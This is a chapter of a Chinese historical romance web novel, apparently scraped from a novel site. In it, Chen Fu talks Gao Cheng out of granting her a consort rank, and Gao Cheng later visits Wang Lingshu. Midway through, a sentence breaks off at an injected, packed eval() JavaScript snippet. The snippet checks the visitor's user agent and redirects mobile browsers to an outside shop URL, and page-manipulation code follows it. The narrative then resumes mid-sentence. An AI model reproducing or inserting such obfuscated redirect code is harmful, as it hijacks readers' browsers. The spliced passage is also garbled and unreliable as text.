55.第55章
作品:《邺下高台》 他凝视着她的眼睛,不放过任何一丝波动,“若是你想……”
若是你想,我便给。不必算这笔账是否划算,是否值得。
陈扶的睫毛颤了颤,落下一滴清泪,慢慢漾开一个极轻极浅的笑。那笑容里没有算计,只有纯粹的满足,“稚驹……已经得到最好的奖赏了呀。”
高澄微怔,随即明白过来,她说的是回李府那日在牛车里,他答应她的那件事。
“那不算。那事……惠及的也不是你。”
陈扶伸出手,紧紧握住了他的手,她握得那样用力,指尖抵着他的掌心。
“阿惠哥哥,你知道什么叫‘自己人’么?”
“‘自己人’就是,即便你什么也不给,也会忠于你的人啊。名器之所以贵者,在于不可轻授。右昭仪这般重要之位,怎可‘浪费’在‘自己人’身上呢?”
她将自己划归为无需用名位收买的所在。同时,也将“右昭仪”彻底定义为不该被浪费的政治筹码。如此一来,若还是坚持要给她,除非承认这并非“赏功”,而是出于什么、更私人的理由。
高澄被堵得胸口一闷,呼之欲出的话在舌尖滚了又滚,终究被压了回去,化作喉间一丝无声的滞涩。
见他沉默,陈扶握着他的手收得更紧,也将道理夯得更实:“护主救驾,乃人臣之本分,如同子侍父母,天经地义,何谈功勋?若因行了这本分,便可获授右昭仪这般极位,那日后朝廷奖惩之度,将何以权衡?纲纪之所以明者,在于赏罚有度。今日稚驹以本分而获超格擢升,恐开一危殆先例。令朝中内外误以为,只需恪尽职责,便可邀取非常之赏。”
她言辞恳切,逻辑缜密,将自身利害完全置于朝廷法度之下,俨然一副忠纯诤臣模样。
然而高澄听罢,那股烦躁非但没有被化解,反倒催生出另一股更强势的力道。
他反手握住她,将人带近,不再掩饰那股属于霸主的专断之气。
“什么‘浪费’,什么‘本分’!你十年辅弼,功在社稷;救驾于危难,九死一生;这若只算‘本分’,那满朝文武,还有几人配称有‘功勋’?孤就是要赏你!”
他向她倾身,迫人的气势笼罩下来,目光灼灼,不容她闪避,“至于先例?开了更好!孤就是要让天下人都看看,对孤尽心竭力者,孤就是不惜名器,不吝殊荣,倾力以酬!此非淆乱纲纪,反是树立典范!”
陈扶迎着他目光,幽黑眼眸映着他焦灼的神色,
“相国要拿稚驹立‘典’,只有有益,稚驹自然愿意。只是,这般‘典范’,于相国的千秋大业,当真有利么?”
“相国正行曹丕之事,乾坤更易,已在眉睫。全天下人的眼睛,都钉在相国的一言一行之上。每一道政令,每一次封赏,皆被置于那‘代天摄政’的无形铁尺之下,细细丈量,反复评议。”
她的声音很轻,却像一根极细极韧的丝线,穿透了他的专断,轻轻巧巧地,勒在了最要害的关节。
“若稚驹仅以‘救驾’一事,便受封右昭仪这般极位……世人会如何看新君?”
“届时,邺城内外,那些心中尚念着元魏香火的遗老遗少,那些嫉恨相国威权、伺机而动的世家豪强,乃至江南、关西的伪朝宵小,会如何借题发挥?他们会鼓噪唇舌,大肆宣扬新君‘赏罚由私’、‘德政有亏’,甚至会编排散布出‘色令智昏’、‘因私废公’的污言秽语!用这些,来质疑、来玷污相国代魏而立的天命!”
高澄握着她的手,猛然收紧一瞬。
“为一女子之位份,而令千秋大业蒙尘,令登基之路平白增添口实与波澜……这,值得么?”
“稚驹恳请相国以天下为重,以‘开国圣君之清誉’为重!将此事暂缓。待他日乾坤已定,四海宾服,赏罚予夺皆由圣心独断,再无宵小可妄置一词之时……”
她微微吸了口气,冲他莞尔一笑,
“若到那时,阿惠哥哥仍有心抬举,稚驹……何会有辞?”
这番话像一盆掺着冰碴的雪水,迎头泼在他被灼热欲望烧得有些发昏的头脑上。
……是,他想彻底拥有她,想到骨子里发痒。可这痒,比起那即将到手的、金光万丈的九龙椅,比起他高澄将要开创的不世基业……
这权衡,几乎不需要犹豫。
人就在那里,跑不了。待他坐稳了天下,成了真正的九五之尊,届时,他想如何,便如何,谁又能多说半个字?
可若是在这最要紧的关头,因这“私赏近幸”的名声,坏了大事……
他喉结重重滚动了一下,良久,他松开一直紧握着的那只被他攥出了红痕的纤手。
他向后靠去,倚在榻边冰凉的木框上,目光依旧锁着她,却少了方才那股逼人的灼热,多了几分复杂的审视,与一丝不得不认的颓然。
“陈稚驹……”
他开口,声音发涩。
“你很好。”
日头西斜,将未化的残雪染上一层倦怠的淡金。
元仲华端坐在矮榻上,手里捧着一卷早已看不下半字的书,耳力变得格外敏锐,脚步声,说话声,甚至风吹过枯枝的簌簌声,都能让她心尖微微一颤。
终于,沉稳的脚步声由远及近,门被推开,高澄走了进来。
他身上衣袍款款,一丝不苟,面上也看不出什么情绪,既无愠怒,也无喜色。
元仲华起身迎上,“夫君,”她唤道,声音不自觉地紧绷,“陈侍中那边……”
“暂且搁下。”高澄打断她的话,走到榻边坐下,解开大氅的系带,动作不疾不徐。
元仲华怔在原地。
她预料了许多种结果。或许陈扶拗不过,含泪应下;或许高澄会因陈扶的不识抬举而震怒,回来发泄;又或许,会有更激烈的冲突……独独没料到,会是这般风过无痕的“搁下”?
陈扶究竟说了什么,做了什么,竟能让一向心意如铁、说一不二的夫君,如此从善如流?
惊愕如潮水翻涌,瞬间淹过了先前种种揣测,得出了最新的结论:陈扶的手段与分量,恐怕远超自己之前的估量。
“那……陈侍中她……还好么?”
“她很好。”高澄抬眼瞥了她一下,接过侍女奉上的热巾帕,拭了拭手,“此事你不必再管。”
元仲华心头一松,看来陈扶当真无恙。她连忙恭顺应道:“是,妾身明白了。” 想起陈扶那句“前朝的队友”,心中泛起的同舟共济念头,促使她轻声补充道,“反正此事也就俩家之间走动过,并无旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874331|185337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人知晓,于夫君威严丝毫无损……就当不曾提过……”
“知晓了也无所谓。”
高澄将巾帕丢回银盘,靠向身后的锦垫,目光虚虚地落在空中某处,唇角似乎极淡地勾了一下。
“反正是迟早的事。”
进入腊月,天光便显得短了。
申时刚过,暮色便如青灰色的薄纱,一层层笼上屋檐。
高澄将一卷劝进仪注的文书批罢,朱笔搁在青玉笔山上,目光习惯性地向身侧掠去——那里依旧空着,案几光洁,映着逐渐黯淡的窗光,像一只失去瞳仁的眼睛。
心头那萦绕数日、挥之不去的滞闷,又如潮水般悄然漫上,带着丝丝缕缕、说不分明的烦躁。
陈扶那番言辞,字字句句,无可指摘,甚至让他佩服她深谋远虑的政治敏感度。
可那“拒绝”本身,却像一根极细的芒刺,扎在心口最软嫩的肉里。
她为何能那般冷静?那般……公私分明?
仿佛他高澄,真就仅仅是效忠和辅佐的“主公”,而非一个令女子情难自禁的……男人。
王令姝所居的“棠梨院”,与府中他处的雄浑开阔迥异。
甫一踏入月洞门,便觉气息一清。院落不大,却极尽巧思。曲廊萦回,以白粉墙隔出数重景深,墙垣不高,恰好露出远处借景的假山一角。虽是隆冬,墙角却移植了几丛耐寒的翠竹,风过时萧萧瑟瑟,添了几分清冷意境。正屋窗棂糊着素白的高丽纸,映出室内朦胧的灯火,与案头一盆水仙幽幽的剪影。
高澄推开虚掩的房门,王令姝正临窗对着一局残棋,闻声抬头,见是他,忙起身行礼。她今日穿了身天青素罗裙,乌发松绾着,只斜簪一枚白玉梨花簪,清雅得几乎融进身后那幅淡墨山水的小屏风里。
“相国今日得空。”
高澄“嗯”了一声,目光在她脸上逡巡。
不可否认,王令姝是很美的,美得精致,美得符合一切他对“仕女”的想象。
他走到棋枰前,信手拈起一枚黑子,视线落在她微微低垂的颈项,那线条优美脆弱,引人遐思。
“怎么独自对弈?可是寂寞了?”他开口,语气是惯有的、略带轻佻的关心。
王令姝指尖抚过棋盘上的白玉棋子,轻声答:“习练而已。想着相国若来,或许能赢一局。” 她抬起眼,眸中水光盈盈,似藏着些许幽怨,“前日家里送来淮南蜜橘,妾留着些,本想等相国尝鲜,谁知放坏了,眼下便没得招待了。”
高澄笑了笑,“令姝有心就好。”他丢了棋子,微微倾身,状似随意道,“你心中……可还觉得,跟着孤是委屈了?”
王令姝身子一僵,轻轻摇头,“相国风姿卓绝,又厚意相待,妾何来委屈?只是……妾只会些吟风弄月的浅薄辞章,于相国大事无益,倒是自惭形秽了。”
这话里隐隐透出一丝酸意,高澄听出来了,被美人倾心的愉悦将将浮起,就被闪过的一念覆盖:王令姝不过一年已会为他吃味,她跟了他十年,为何她……永远明晰,从无怨怼?
“相国?”
“各有所长罢了。”他意兴阑珊地应,指尖托起她下颚,“孤就爱你这般……风月无边。”
言语间,已将她带向自己。

